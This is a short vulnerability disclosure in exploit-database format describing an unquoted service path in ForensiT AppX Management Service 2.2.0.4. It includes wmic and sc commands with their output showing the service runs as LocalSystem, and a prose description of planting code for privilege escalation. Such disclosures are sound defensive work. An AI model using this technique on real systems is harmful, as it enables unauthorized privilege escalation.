# Exploit Title: ForensiTAppxService 2.2.0.4 - 'ForensiTAppxService.exe' Unquoted Service Path # Discovery by: Burhanettin Özgenç # Discovery Date: 2020-09-15 # Vendor Homepage: https://www.forensit.com/downloads.html # Tested Version: 2.2.0.4 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Pro x64 # Step to discover Unquoted Service Path: C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "ForensiTAppxService" | findstr /i /v """ ForensiT AppX Management Service ForensiTAppxService C:\Program Files (x86)\ForensiT\AppX Management Service\ForensiTAppxService.exe Auto # Service info: C:\>sc qc ForensiTAppxService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: ForensiTAppxService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\ForensiT\AppX Management Service\ForensiTAppxService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : ForensiT AppX Management Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem # Exploit: # A successful attempt would require the local user to be able to insert their code in the system # root path undetected by the OS or other security applications where it could potentially be executed # during application startup or reboot. If successful, the local user's code would execute with # the elevated privileges of the application.